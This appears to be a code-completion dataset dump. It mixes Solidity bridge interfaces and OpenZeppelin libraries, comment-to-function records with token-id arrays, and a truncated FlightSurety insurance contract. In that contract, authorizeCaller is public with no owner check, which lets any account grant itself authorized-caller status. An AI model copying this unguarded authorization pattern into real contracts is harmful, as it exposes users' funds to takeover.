event Unblocked(bytes32 submissionId); //UnBlock submission
event Flash(
address sender,
address indexed tokenAddress,
address indexed receiver,
uint256 amount,
uint256 paid
);
event WithdrawnFee(bytes32 debridgeId, uint256 fee);
event FixedNativeFeeUpdated(
uint256 globalFixedNativeFee,
uint256 globalTransferFeeBps);
event FixedNativeFeeAutoUpdated(uint256 globalFixedNativeFee);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
interface ICallProxy {
function submissionChainIdFrom() external returns (uint256);
function submissionNativeSender() external returns (bytes memory);
function call(
address _fallbackAddress,
address _receiver,
bytes memory _data,
uint256 _flags,
bytes memory _nativeSender,
uint256 _chainIdFrom
) external payable returns (bool);
function callERC20(
address _token,
address _fallbackAddress,
address _receiver,
bytes memory _data,
uint256 _flags,
bytes memory _nativeSender,
uint256 _chainIdFrom
) external returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
/// @title Callback for IDeBridgeGate#flash
/// @notice Any contract that calls IDeBridgeGate#flash must implement this interface
interface IFlashCallback {
/// @param fee The fee amount in token due to the pool by the end of the flash
/// @param data Any data passed through by the caller via the IDeBridgeGate#flash call
function flashCallback(uint256 fee, bytes calldata data) external;
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.7;
library SignatureUtil {
/* ========== ERRORS ========== */
error WrongArgumentLength();
error SignatureInvalidLength();
error SignatureInvalidV();
/// @dev Prepares raw msg that was signed by the oracle.
/// @param _submissionId Submission identifier.
function getUnsignedMsg(bytes32 _submissionId) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", _submissionId));
}
/// @dev Splits signature bytes to r,s,v components.
/// @param _signature Signature bytes in format r+s+v.
function splitSignature(bytes memory _signature)
internal
pure
returns (
bytes32 r,
bytes32 s,
uint8 v
)
{
if (_signature.length != 65) revert SignatureInvalidLength();
return parseSignature(_signature, 0);
}
function parseSignature(bytes memory _signatures, uint256 offset)
internal
pure
returns (
bytes32 r,
bytes32 s,
uint8 v
)
{
assembly {
r := mload(add(_signatures, add(32, offset)))
s := mload(add(_signatures, add(64, offset)))
v := and(mload(add(_signatures, add(65, offset))), 0xff)
}
if (v < 27) v += 27;
if (v != 27 && v != 28) revert SignatureInvalidV();
}
function toUint256(bytes memory _bytes, uint256 _offset)
internal
pure
returns (uint256 result)
{
if (_bytes.length < _offset + 32) revert WrongArgumentLength();
assembly {
result := mload(add(add(_bytes, 0x20), _offset))
}
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.7;
library Flags {
/* ========== FLAGS ========== */
// Flag to unwrap ETH
uint256 public constant UNWRAP_ETH = 0;
// Flag to revert if external call fails
uint256 public constant REVERT_IF_EXTERNAL_FAIL = 1;
// Flag to call proxy with a sender contract
uint256 public constant PROXY_WITH_SENDER = 2;
function getFlag(
uint256 _packedFlags,
uint256 _flag
) internal pure returns (bool) {
uint256 flag = (_packedFlags >> _flag) & uint256(1);
return flag == 1;
}
// function setFlag(
// uint256 _packedFlags,
// uint256 _flag,
// bool _value
// ) internal pure returns (uint256) {
// if (_value)
// return _packedFlags | uint256(1) << _flag;
// else
// return _packedFlags & ~(uint256(1) << _flag);
// }
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.7;
interface IWethGate {
function withdraw(address receiver, uint wad) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControlUpgradeable {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library StringsUpgradeable {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165Upgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
function __ERC165_init() internal initializer {
__ERC165_init_unchained();
}
function __ERC165_init_unchained() internal initializer {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | we need to accept ETH sends to unwrap WETH assert(msg.sender == address(weth)); only accept ETH via fallback from the WETH contract | receive() external payable {
}
| 320,877 | [
1,
1814,
1608,
358,
2791,
512,
2455,
9573,
358,
11014,
678,
1584,
44,
1815,
12,
3576,
18,
15330,
422,
1758,
12,
91,
546,
10019,
225,
1338,
2791,
512,
2455,
3970,
5922,
628,
326,
678,
1584,
44,
6835,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
6798,
1435,
3903,
8843,
429,
288,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/43114/0xcf3ea08f39844F14D11060ae022cDDBA578e3e66/sources/contracts/vault-managers/parameters/AssetsBooleanParameters.sol | * @notice Get value of _param for _asset @dev see ParametersConstants/ | function get(address _asset, uint8 _param) external override view returns (bool) {
return values[_asset] & (1 << _param) != 0;
}
| 4,644,831 | [
1,
967,
460,
434,
389,
891,
364,
389,
9406,
225,
2621,
7012,
2918,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
336,
12,
2867,
389,
9406,
16,
2254,
28,
389,
891,
13,
3903,
3849,
1476,
1135,
261,
6430,
13,
288,
203,
3639,
327,
924,
63,
67,
9406,
65,
473,
261,
21,
2296,
389,
891,
13,
480,
374,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.24;
import "../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";
contract FlightSuretyData {
using SafeMath for uint256;
/********************************************************************************************/
/* DATA VARIABLES */
/********************************************************************************************/
address private contractOwner; // Account used to deploy contract
bool private operational = true; // Blocks all state changes throughout the contract if false
struct Insurance {
bytes32 flightKey;
address passenger;
uint256 payment;
}
struct Flight {
address airline;
uint256 departureTimestamp;
uint8 statusCode;
}
struct Airline {
address airlineAccount;
string companyName;
bool isRegistered;
bool isFunded;
uint256 votes;
mapping(address => bool) voters; // track airlines that have already voted
}
Airline[50] private airlines; // List of up to 50 airlines (may or may not be registered)
Insurance[] private insurance; // List of passenger insurance
mapping(address => uint256) private passengerCredit; // For a given passenger has the total credit due
// uint256 private constant SENTINEL = 2 ^ 256 - 1; // MAX VALUE => "not found"
uint256 private airlineCount;
mapping(bytes32 => Flight) private flights; // keys (see getFlightKey) of flights for airline
mapping(address => bool) private authorizedAppContracts;
// Event fired each time an oracle submits a response
event FlightStatusInfo(address airline, string flight, uint256 timestamp, uint8 status);
event OracleReport(address airline, string flight, uint256 timestamp, uint8 status);
// Event fired when flight status request is submitted
// Oracles track this and if they have a matching index
// they fetch data and submit a response
event OracleRequest(uint8 index, address airline, string flight, uint256 timestamp);
// Incremented to add pseudo-randomness at various points
uint8 private nonce = 0;
////////////////////
// State for Oracles
////////////////////
struct Oracle {
bool isRegistered;
uint8[3] indexes;
}
// Track all registered oracles
mapping(address => Oracle) private oracles;
// Model for responses from oracles
struct ResponseInfo {
address requester; // Account that requested status
bool isOpen; // If open, oracle responses are accepted
mapping(uint8 => address[]) responses; // Mapping key is the status code reported
// This lets us group responses and identify
// the response that majority of the oracles
}
// Track all oracle responses
// Key = hash(index, flight, timestamp)
mapping(bytes32 => ResponseInfo) private oracleResponses;
/********************************************************************************************/
/* EVENT DEFINITIONS */
/********************************************************************************************/
/**
* @dev Constructor
* The deploying account becomes contractOwner
* First airline is registered at deployment
*/
constructor
(address firstAirline
)
public
{
require(firstAirline != address(0), 'Must specify the first airline to register when deploying contract');
contractOwner = msg.sender;
airlines[airlineCount++] = Airline({airlineAccount : firstAirline, companyName : "British Airways", isRegistered : true, isFunded : false, votes : 0});
}
/********************************************************************************************/
/* FUNCTION MODIFIERS */
/********************************************************************************************/
// Modifiers help avoid duplication of code. They are typically used to validate something
// before a function is allowed to be executed.
/**
* @dev Modifier that requires the "operational" boolean variable to be "true"
* This is used on all state changing functions to pause the contract in
* the event there is an issue that needs to be fixed
*/
modifier requireIsOperational()
{
require(operational, "Contract is currently not operational");
_;
}
/**
* @dev Modifier that requires the "ContractOwner" account to be the function caller
*/
modifier requireContractOwner()
{
require(msg.sender == contractOwner, "Caller is not contract owner");
_;
}
/**
* @dev Modifier that requires the calling contract has been authorized
*/
modifier requireAuthorizedCaller()
{
require(authorizedAppContracts[msg.sender] || msg.sender == address(this), "Caller is not an authorized contract");
_;
}
/********************************************************************************************/
/* UTILITY FUNCTIONS */
/********************************************************************************************/
/**
* @dev Get operating status of contract
*
* @return A bool that is the current operating status
*/
function isOperational()
public
view
returns (bool)
{
return operational;
}
/**
* @dev Sets contract operations on/off
*
* When operational mode is disabled, all write transactions except for this one will fail
*/
function setOperatingStatus
(
bool mode
)
external
requireContractOwner
{
operational = mode;
}
/**
* @dev Authorize an App Contract to delegate to this data contract
*/
function authorizeCaller(address _appContract)
public
{
authorizedAppContracts[_appContract] = true;
}
// Return index of the Airline for the matching address
// or a large SENTINEL value if no match
function findAirline(address _airline)
public
view
returns (uint256)
{
// Loop through airline until found or end
uint256 i = 0;
while (i < airlineCount) {
if (airlines[i].airlineAccount == _airline) {
return i;
}
i++;
}
return airlineCount + 1000;
}
// True if the Voter has not already raise
// a registration vote for airline
function hasNotAlreadyVoted(address _airline, address _voter)
external
view
returns (bool)
{
uint256 idx = findAirline(_airline);
if (idx < airlineCount) {
return !airlines[idx].voters[_voter];
}
return true;
}
function getCredit(address passenger)
public
view
returns (uint256)
{
return passengerCredit[passenger];
}
/********************************************************************************************/
/* SMART CONTRACT FUNCTIONS */
/********************************************************************************************/
// Useful to check how close an airline is to being registered based on number of votes
// returns: isRegistered, isFunded, votes
function getAirlineStatus(address _airline)
public
view
requireAuthorizedCaller
requireIsOperational
returns (bool isRegistered,
bool isFunded,
uint256 votes)
{
uint256 idx = findAirline(_airline);
if (idx < airlineCount) {
Airline memory airline = airlines[idx];
return (airline.isRegistered, airline.isFunded, airline.votes);
}
return (false, false, 0);
}
/**
* Airline details accessed by index
*/
function getAirlineStatus(uint256 idx)
external
view
requireAuthorizedCaller
requireIsOperational
returns (bool isRegistered,
bool isFunded,
uint256 votes,
address airlineAccount,
string companyName)
{
airlineAccount = airlines[idx].airlineAccount;
companyName = airlines[idx].companyName;
(isRegistered, isFunded, votes) = getAirlineStatus(airlineAccount);
return (isRegistered, isFunded, votes, airlineAccount, companyName);
}
/**
* @dev Add an airline to the registration queue
* Can only be called from FlightSuretyApp contract
*
*/
function addAirline
(address airlineAccount, string companyName, bool isRegistered, bool isFunded, uint8 votes
)
external
requireAuthorizedCaller
requireIsOperational
{
airlines[airlineCount++] = Airline({airlineAccount : airlineAccount, companyName : companyName, isRegistered : isRegistered, isFunded : isFunded, votes : votes});
